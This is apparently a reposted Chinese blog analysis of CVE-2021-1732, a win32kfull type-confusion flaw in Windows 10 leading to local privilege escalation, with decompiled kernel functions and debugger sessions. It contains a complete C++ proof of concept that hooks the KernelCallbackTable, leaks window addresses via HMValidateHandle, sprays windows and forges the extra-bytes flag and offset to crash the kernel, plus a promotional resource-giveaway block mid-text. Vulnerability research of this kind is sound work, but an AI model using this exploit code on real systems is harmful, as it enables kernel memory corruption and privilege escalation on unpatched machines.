【安全漏洞】CVE-2021-1732 win32k漏洞分析

漏洞描述

内核模块win32kfull.sys的win32kfull!xxxClientAllocWindowClassExtraBytes函数中存在Type Confusion漏洞,利用此漏洞进行越界读写,最终可实现本地提权

官方通报影响的windows版本:

Windows 10 Version 1803/1809/1909/2004/20h2

Windows Server, version 1909/20H2(Server Core installation)

Windows 10 Version for 32-bit Systems

Windows Server 2019

漏洞分析

分析Windows版本:win10 20h2 19042.508

Type Confusion漏洞存在于win32kfull!xxxCreateWindowEx函数中,函数中漏洞点的伪代码如下:

漏洞是怎么出现的呢?这得从窗口创建说起

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

创建一个自定义的窗口前需要注册自定义的窗口类,窗口类的结构体如下:

typedef struct tagWNDCLASSA {
  UINT      style;
  WNDPROC   lpfnWndProc;
  int       cbClsExtra;
  int       cbWndExtra;
  HINSTANCE hInstance;
  HICON     hIcon;
  HCURSOR   hCursor;
  HBRUSH    hbrBackground;
  LPCSTR    lpszMenuName;
  LPCSTR    lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;

填写好窗口类的结构体的成员,紧接着就可以调用CreateWindow(EXA/W)创建窗口,R0到R3的执行总体流程如下:

00 fffffe82`32d3f848 fffff467`52aa51a9     win32kfull!xxxCreateWindowEx
01 fffffe82`32d3f850 fffff467`5285519e     win32kfull!NtUserCreateWindowEx+0x679
02 fffffe82`32d3f9f0 fffff802`36e058b5     win32k!NtUserCreateWindowEx+0xc2
03 fffffe82`32d3fa90 00007ffe`d86e1ec4     nt!KiSystemServiceCopyEnd+0x25
04 00000062`2ad9f7d8 00007ffe`d8ca7d8b     win32u!NtUserCreateWindowEx+0x14
05 00000062`2ad9f7e0 00007ffe`d8ca7958     USER32!VerNtUserCreateWindowEx+0x20f
06 00000062`2ad9fb70 00007ffe`d8ca3c92     USER32!CreateWindowInternal+0x1a4
07 00000062`2ad9fcd0 00007ff7`9418144d     USER32!CreateWindowExA+0x82

可以看到创建窗口的时候最终会进入漏洞存在的函数win32kfull!xxxCreateWindowEx,那么怎样才能在win32kfull!xxxCreateWindowEx内调用win32kfull!xxxClientAllocWindowClassExtraBytes(即到达上图中line: 974)呢?

当tagWNDCLASSA类设置cbWndExtra成员(为窗口实例分配的额外的字节大小)不为0时,就会调用到win32kfull!xxxClientAllocWindowClassExtraBytes函数,问题就出在这个函数中

v50是一个tagWND结构体指针,tagWND在win10的版本中相比win7的版本发生了一些变化,tagWND结构体的关键成员如下(图片来源于红雨滴团队),(_QWORD )(((_QWORD *)v50 + 5) + 0x128i64)即为下图的pExtraBytes,在当前正常的执行流程中,赋值为win32kfull!xxxClientAllocWindowClassExtraBytes申请到的堆地址,怎么知道是堆地址呢?且看下文

对函数win32kfull!xxxClientAllocWindowClassExtraBytes进行反编译,得到以下结果:

volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
  SIZE_T v1; // rdi
  int v2; // ebx
  __int64 *v3; // rcx
  volatile void *v4; // rbx
  __int64 CurrentProcessWow64Process; // rax
  unsigned __int64 v7; // [rsp+30h] [rbp-38h] BYREF
  volatile void *v8; // [rsp+38h] [rbp-30h]
  char v9; // [rsp+70h] [rbp+8h] BYREF
  char v10; // [rsp+78h] [rbp+10h] BYREF
  int v11; // [rsp+80h] [rbp+18h] BYREF
  int v12; // [rsp+88h] [rbp+20h] BYREF

  v1 = (unsigned int)Length;
  v7 = 0i64;
  v11 = 0;
  v8 = 0i64;
  v12 = Length;
  if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
    KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);
  ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
  LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
  EtwTraceBeginCallback(0x7Bi64);
  v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
  EtwTraceEndCallback(0x7Bi64);
  LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
  ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
  if ( v2 < 0 || v11 != 0x18 )
    return 0i64;
  v3 = (__int64 *)v7;
  if ( v7 + 8 < v7 || v7 + 8 > MmUserProbeAddress )
    v3 = (__int64 *)MmUserProbeAddress;
  v8 = (volatile void *)*v3;
  v4 = v8;
  CurrentProcessWow64Process = PsGetCurrentProcessWow64Process();
  ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);
  return v4;
}

函数中调用KeUserModeCallback返回到用户态执行回调函数,KeUserModeCallback函数原型如下:

NTSTATUS KeUserModeCallback (
       IN ULONG ApiNumber,
       IN PVOID   InputBuffer,
       IN ULONG InputLength,
       OUT PVOID *OutputBuffer,
       IN PULONG OutputLength
       );

首先根据API号0x7b可确定回调函数为user32!_xxxClientAllocWindowClassExtraBytes

0: kd> dt ntdll!_PEB @$peb Ke*
   +0x058 KernelCallbackTable : 0x00007fff`4e1e1070 Void
0: kd> u poi(0x00007fff`4e1e1070 + 7b * 8)
user32!_xxxClientAllocWindowClassExtraBytes:
00007fff`4e177840 4883ec48        sub     rsp,48h
00007fff`4e177844 8364242800      and     dword ptr [rsp+28h],0
00007fff`4e177849 488364243000    and     qword ptr [rsp+30h],0
00007fff`4e17784f 448b01          mov     r8d,dword ptr [rcx]
00007fff`4e177852 ba08000000      mov     edx,8
00007fff`4e177857 488b0dd2b70800  mov     rcx,qword ptr [user32!pUserHeap (00007fff`4e203030)]
00007fff`4e17785e 48ff154bb20600  call    qword ptr [user32!_imp_RtlAllocateHeap (00007fff`4e1e2ab0)]
00007fff`4e177865 0f1f440000      nop     dword ptr [rax+rax]

对user32!_xxxClientAllocWindowClassExtraBytes进行反汇编,得到以下结果:

NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
  PVOID Result; // [rsp+20h] [rbp-28h] BYREF
  int v3; // [rsp+28h] [rbp-20h]
  __int64 v4; // [rsp+30h] [rbp-18h]

  v3 = 0;
  v4 = 0i64;
  Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
  return NtCallbackReturn(&Result, 0x18u, 0);
}

函数内调用RtlAllocateHeap从pUserHeap所指的用户堆空间申请*a1(Length)字节的空间,并通过NtCallbackReturn携带堆地址返回到内核态,NtCallbackReturn函数原型如下:

因此我们可以获得这样的执行流程

xxxClientAllocWindowClassExtraBytes > KeUserModeCallback > _xxxClientAllocWindowClassExtraBytes > NtCallbackReturn

以上都属于正常的执行流程,接下来讲一下漏洞的产生过程

pExtraBytes(offset: 0x128)与ExtraFlag(offset: 0xe8)标志相关:当ExtraFlag & 0x800 == 0时,pExtraBytes表示的是内存指针,即上述的堆地址;当ExtraFlag & 0x800 != 0时,pExtraBytes表示的是内存偏移

因为执行完win32kfull!xxxClientAllocWindowClassExtraBytes函数,没有对tagWND的ExtraFlag 进行校验,所以恶意攻击者可以在回调函数内将tagWNDExtraFlag 进行ExtraFlag | 0x800,就会使pExtraBytes表示的是内存偏移,不再表示为内存地址,再恶意控制pExtraBytes的偏移,同样调用NtCallbackReturn将偏移值返回给内核,就可以发生越界读写,通过越界读写进而获取读写原语,最终导致本地权限提升

漏洞验证

漏洞验证关键的两点:

  • 抵达漏洞的路径
  • 触发漏洞的环境

抵达漏洞的路径:设置tagWNDCLASSA的cbWndExtra,调用CreateWindow创建窗口

触发漏洞的环境:回调函数内修改tagWND的ExtraFlag并且返回指定的偏移值

POC编写

在编写POC前,还需要搞清楚一些问题:

  1. 在调用CreateWindow期间(函数没有返回)如何获取窗口句柄
  2. 如何修改tagWND的ExtraFlag

问题1:在参考了网上公开的一些方法后,我选择了一种重利用的方法,这跟池喷射后构造指定大小的空洞来进行控制分配有着相似的地方。简单来说,就是分配一定数量的窗口(窗口类相同),紧接着销毁这些窗口,然后创建要触发漏洞的窗口(窗口的pExtraBytes为特殊的数值),触发漏洞的窗口就会被分配到某个刚刚销毁的窗口所在的内存区域。触发漏洞的窗口完成占坑后,我们是怎么获取到窗口句柄的呢?原来我们可以通过一开始创建好的窗口的句柄泄露tagWND在用户态的内存指针,其首地址存储的就是窗口句柄,偏移0xc8处存储的是pExtraBytes,通过对特殊值的比较,就可以搜索到触发漏洞的窗口的用户态tagWND首地址,读取其首地址的值,即可获得其窗口句柄

问题2:大神们发现,win32kfull!xxxConsoleControl函数可以设置tagWND的ExtraFlag,调用此函数的用户态API为NtUserConsoleControl

__int64 __fastcall xxxConsoleControl(int a1, struct _CONSOLE_PROCESS_INFO *a2, int a3)
{
    ...

    v16 = (_QWORD *)ValidateHwnd(*(_QWORD *)a2);// 获取tagWND的地址
    v17 = (__int64)v16;

    ...

    v18 = v16 + 5;// 获取pwnd的地址(真正的tagWND)

    ...

    // 若ExtraFlag  & 0x800 != 0
    if ( (*(_DWORD *)(*v18 + 0xE8i64) & 0x800) != 0 )
    {
      v23 = (_DWORD *)(*(_QWORD *)(*(_QWORD *)(v17 + 0x18) + 0x80i64) + *(_QWORD *)(v22 + 0x128));
    }
    else
    {
      // 从桌面堆进行分配
      v23 = (_DWORD *)DesktopAlloc(*(_QWORD *)(v17 + 0x18), *(unsigned int *)(v22 + 0xC8), 0i64);

      ...

      if ( *(_QWORD *)(*v18 + 0x128i64) )
      {
        CurrentProcess = PsGetCurrentProcess();
        v30 = *(_DWORD *)(*v18 + 0xC8i64);
        v29 = *(const void **)(*v18 + 0x128i64);
        memmove(v23, v29, v30);
        if ( (*(_DWORD *)(CurrentProcess + 1124) & 0x40000008) == 0 )
          xxxClientFreeWindowClassExtraBytes(v17, *(_QWORD *)(*(_QWORD *)(v17 + 40) + 0x128i64));
      }
      *(_QWORD *)(*v18 + 0x128i64) = (char *)v23 - *(_QWORD *)(*(_QWORD *)(v17 + 24) + 0x80i64);
    }
    if ( v23 )
    {
      *v23 = *((_DWORD *)a2 + 2);
      v23[1] = *((_DWORD *)a2 + 3);
    }

    // 将ExtraFlag |= 0x800u 
    *(_DWORD *)(*v18 + 0xE8i64) |= 0x800u;
    goto LABEL_33;
  }
  ...
}

在上述问题得以解决后,就可以愉快地编写POC了

  1. 获取一些关键函数地址:HMValidateHandle函数可以根据窗口句柄获取用户态tagWND的地址,虽然它不是导出函数,但是可以在IsMenu函数所在的内存区域进行搜索;NtCallbackReturn函数可以将结果返回给内核,上文已经提及
VOID InitFunction()
{
    HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");

    if (!hNtdll || !hWin || !hUser)
    {
        ErrorOutput("[-] Failed to load the ntdll.dll, win32u.dll, user32.dll\n");
    }

    global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
    global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
    if (!global::NtCallbackReturn || !global::NtUserConsoleControl)
    {
        ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
    }

    PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");
    if (!isMenu)
    {
        ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
    }

    while (*isMenu++ != 0xe8);
    global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));

    if (!global::HMValidateHandle)
    {
        ErrorOutput("[-] Failed to get HMValidateHandle\n");
    }
}
  1. 调用VirtualProtect函数修改回调函数表所在的内存页的属性,替换相应的回调函数为自定义的回调函数:__readgsqword(0x60)获取到当前进程的PEB结构地址,PEB结构偏移0x58处就是KernelCallbackTable(回调函数表)
3: kd> dt ntdll!_PEB KernelCallbackTable
   +0x058 KernelCallbackTable : Ptr64 Void

VOID HookCallBack()
{
    ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);
    if (!KernelCallbackTable)
    {
        printf("[-] Failed to get kernel callback table\n");
        exit(1);
    }

    DWORD oldProtect = 0;
    ULONG64 target = KernelCallbackTable + (0x7B * 8);

    VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);

    global::orginCallBack = (pCallBack)(*(PULONG64)target);
    *(PULONG64)target = (ULONG64)FakeCallBack;

    VirtualProtect((LPVOID)target, 0x100, oldProtect, &oldProtect);
}
  1. 自定义的回调函数:NtCallbackReturn用于返回指定的偏移给内核,调用方法仿照_xxxClientAllocWindowClassExtraBytes,NtUserConsoleControl的调用参数有一点讲究,在内核调用xxxConsoleControl之前调用的是NtUserConsoleControl,其中会有一些小检查,即第一个参数不能大于6,第三个参数不能大于0x18

并且在xxxConsoleControl中还有一部分检查,最终决定第一个参数为6,最后一个参数为0x10

VOID FakeCallBack(PULONG32 para)
{
    if (*para == global::magicNum && global::flag)
    {
        printf("[+] Enter the fake callback\n");
        HWND target = NULL;

        for (ULONG32 idx = 2; idx < 20; ++idx)
        {
            if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum)
            {
                target = (HWND) * (PULONG64)global::pWnds[idx];
                printf("[+] Find the target wnd handle: 0x%I64x\n", (ULONG64)target);
                printf("[+] Find the target wnd address: 0x%I64x\n", (ULONG64)global::pWnds[idx]);
                break;
            }
        }

        // set flag
        ULONG64 buffer1[2] = { (ULONG64)target, 0 };
        global::NtUserConsoleControl(6, buffer1, 0x10);

        // set offset
        ULONG64 buffer2[3] = { 0x1234, 0, 0 };
        global::NtCallbackReturn(buffer2, 0x18, 0);
    }

    return global::orginCallBack(para);
}

1.1. 窗口的创建与销毁:先创建20个常规的窗口,利用HMValidateHandle泄露窗口地址,再释放2~19号窗口(全部释放也行),创建触发漏洞窗口,最后将触发漏洞的窗口进行销毁,即可触发BSOD

int main()
{
    InitFunction();
    HookCallBack();

    HINSTANCE hInstance = GetModuleHandleA(NULL);
    WNDCLASSA wc{ 0 };
    wc.lpfnWndProc = WindowProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = "Normal";
    wc.cbWndExtra = 0x10;

    ATOM normalClass = RegisterClassA(&wc);
    if (!normalClass)
    {
        ErrorOutput("[-] Failed to register normal class\n");
    }

    wc.lpszClassName = "Magic";
    wc.cbWndExtra = global::magicNum;
    ATOM magicClass = RegisterClassA(&wc);
    if (!magicClass)
    {
        ErrorOutput("[-] Failed to register magic class\n");
    }

    for (ULONG32 idx = 0; idx < 20; ++idx)
    {
        global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
        if (!global::hWnds[idx])
        {
            ErrorOutput("[-] Failed to create normal window\n");
        }
        global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
    }

    for (ULONG32 idx = 2; idx < 20; ++idx)
    {
        if (global::hWnds[idx])
        {
            DestroyWindow(global::hWnds[idx]);
        }
    }

    global::flag = TRUE;
    HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
    if (!hMagic)
    {
        ErrorOutput("[-] Failed to create magic window\n");
    }

    DestroyWindow(hMagic);
    return 0;
}

POC调试

在回调函数内设置断点,根据命令行打印出来的指针查看内存,可以看到首地址存储的句柄,偏移0xc8处即为特殊的数值0xabcd

2: kd> dq 27dab7814c0 l20
0000027d`ab7814c0  00000000`00020350 00000000`000314c0
0000027d`ab7814d0  00000000`00000000 08000000`08000000
0000027d`ab7814e0  00007ff6`13040000 00000000`00000000
0000027d`ab7814f0  00000000`000012b0 00000000`00000000
0000027d`ab781500  00000000`00000000 00000000`00000000
0000027d`ab781510  00000000`00000000 00000000`00000000
0000027d`ab781520  00000000`00000000 00000000`00000000
0000027d`ab781530  00000000`00000000 00007ff6`130410a0
0000027d`ab781540  00000000`0000f160 00000000`00000000
0000027d`ab781550  00000000`00000000 00000000`00000000
0000027d`ab781560  00000000`00000000 00000000`00000000
0000027d`ab781570  00000000`00000000 00000000`00000000
0000027d`ab781580  00000000`00000000 00000000`0000abcd
0000027d`ab781590  00000000`00020221 00000000`00000000
0000027d`ab7815a0  00000000`00000000 00000001`00000000
0000027d`ab7815b0  00000000`00000000 00000000`00000000
2: kd> ? 0000027d`ab781588-0000027d`ab7814c0
Evaluate expression: 200 = 00000000`000000c8

跟踪内核中的xxxConsoleControl函数,查看内核中的窗口结构,函数没执行完时,标志ExtraFlag还没有设置,一旦执行完就设置了标志ExtraFlag

2: kd> dq ffff8a5905879150 l10
ffff8a59`05879150  00000000`00020350 00000000`00000001
ffff8a59`05879160  ffff8a59`02ee48a0 ffff8f01`0b551de0
ffff8a59`05879170  ffff8a59`05879150 ffff8a59`012314c0
ffff8a59`05879180  00000000`000314c0 00000000`00000000
ffff8a59`05879190  00000000`00000000 00000000`00000000
ffff8a59`058791a0  00000000`00000000 00000000`00000000
ffff8a59`058791b0  00000000`00000000 ffff8a59`00830a80
ffff8a59`058791c0  00000000`00000000 00000000`00000000
2: kd> dq poi(@rax+28)
ffff8a59`012314c0  00000000`00020350 00000000`000314c0
ffff8a59`012314d0  00000000`00000000 08000000`08000000
ffff8a59`012314e0  00007ff6`13040000 00000000`00000000
ffff8a59`012314f0  00000000`000012b0 00000000`00000000
ffff8a59`01231500  00000000`00000000 00000000`00000000
ffff8a59`01231510  00000000`00000000 00000000`00000000
ffff8a59`01231520  00000000`00000000 00000000`00000000
ffff8a59`01231530  00000000`00000000 00007ff6`130410a0
2: kd> ? poi(poi(@rax+28) + e8)
Evaluate expression: 4294967296 = 00000001`00000000
2: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007fff`f6820192 cc              int     3
1: kd> dq ffff8a59`012314c0+e8 L1
ffff8a59`012315a8  00000001`00100818
1: kd> ? 00000001`00100818 & 0x800
Evaluate expression: 2048 = 00000000`00000800

在xxxCreateWindowEx中调用win32kfull!xxxClientAllocWindowClassExtraBytes函数的下一条指令下断点

3: kd> ba e1 ffff8348`7883ce09
3: kd> g
Breakpoint 0 hit
win32kfull!xxxCreateWindowEx+0x1259:
ffff8348`7883ce09 488bc8          mov     rcx,rax
3: kd> r rax
rax=0000000000001234

执行完这个xxxCreateWindowEx函数后,继续执行poc中的DestroyWindow就会触发蓝屏

NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=00000000000c2000 rbx=0000000000000000 rcx=00000000000c2000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80557e61cf1 rsp=fffff080407c6740 rbp=ffff8a5901200040
 r8=ffff8a590113f000  r9=00000000014b92ca r10=ffff8a5901201234
r11=014b92ca3db812e6 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
nt!RtlpHpVsContextFree+0x41:
fffff805`57e61cf1 410fb74822      movzx   ecx,word ptr [r8+22h] ds:ffff8a59`0113f022=????
Resetting default scope

STACK_TEXT:  
fffff080`407c5b68 fffff805`580c7422     : ffff8a59`0113f022 00000000`00000003 fffff080`407c5cd0 fffff805`57f3bb20 : nt!DbgBreakPointWithStatus
fffff080`407c5b70 fffff805`580c6b12     : fffff805`00000003 fffff080`407c5cd0 fffff805`57ff3960 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
fffff080`407c5bd0 fffff805`57fdf327     : fffff805`582844f8 fffff805`580f0fb5 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x952
fffff080`407c62d0 fffff805`58001663     : 00000000`00000050 ffff8a59`0113f022 00000000`00000000 fffff080`407c65b0 : nt!KeBugCheckEx+0x107
fffff080`407c6310 fffff805`57e90edf     : fffff080`407f1000 00000000`00000000 00000000`00000000 ffff8a59`0113f022 : nt!MiSystemFault+0x1d6933
fffff080`407c6410 fffff805`57fed320     : 00000000`00000000 fffff805`57e84817 00000000`00000001 00000000`00000000 : nt!MmAccessFault+0x34f
fffff080`407c65b0 fffff805`57e61cf1     : ffffa10d`a650ec60 fffff805`5905208d 00000000`00000350 ffff8f01`0e353080 : nt!KiPageFault+0x360
fffff080`407c6740 fffff805`57f0b7fa     : 00000000`00000008 fffff080`407c6840 00000000`00000008 00000000`00000003 : nt!RtlpHpVsContextFree+0x41
fffff080`407c67e0 fffff805`57f0b77c     : ffff8a59`01200000 00000000`00000000 ffff8a59`01201234 00000000`000002a0 : nt!RtlpFreeHeapInternal+0x5a
fffff080`407c6860 ffff8a2a`1d249973     : 00000000`00001234 00000000`00000000 00000000`00000000 ffff8a59`05879150 : nt!RtlFreeHeap+0x3c
fffff080`407c68a0 ffff8a2a`1d2463be     : ffff8a59`00693920 00000000`08000100 ffff8a59`02ee48a0 ffff8a59`05879150 : win32kfull!xxxFreeWindow+0x4bf
fffff080`407c69d0 ffff8a2a`1d319e3a     : 00007ff6`13043474 00000000`00000000 00007ff6`13040000 00000000`00000020 : win32kfull!xxxDestroyWindow+0x3ae
fffff080`407c6ad0 fffff805`57ff0b18     : 0000027d`40000600 0000000a`00000000 ffffffff`ffe17b80 ffff8f01`0d3e6be0 : win32kfull!NtUserDestroyWindow+0x3a
fffff080`407c6b00 00007fff`f5cb23e4     : 00007ff6`1304151d 00000000`00000098 00000000`00000000 00007ff6`00000000 : nt!KiSystemServiceCopyEnd+0x28
000000d5`26dffd28 00007ff6`1304151d     : 00000000`00000098 00000000`00000000 00007ff6`00000000 00000000`00000000 : win32u!NtUserDestroyWindow+0x14
000000d5`26dffd30 00000000`00000098     : 00000000`00000000 00007ff6`00000000 00000000`00000000 00000000`00000000 : poc!main+0x33d [D:\SelfLearn\C++Project\Exploit\Exploit\2021-1732-EXP.cpp @ 170] 
000000d5`26dffd38 00000000`00000000     : 00007ff6`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x98

猜你喜欢

转载自blog.csdn.net/HBohan/article/details/123664443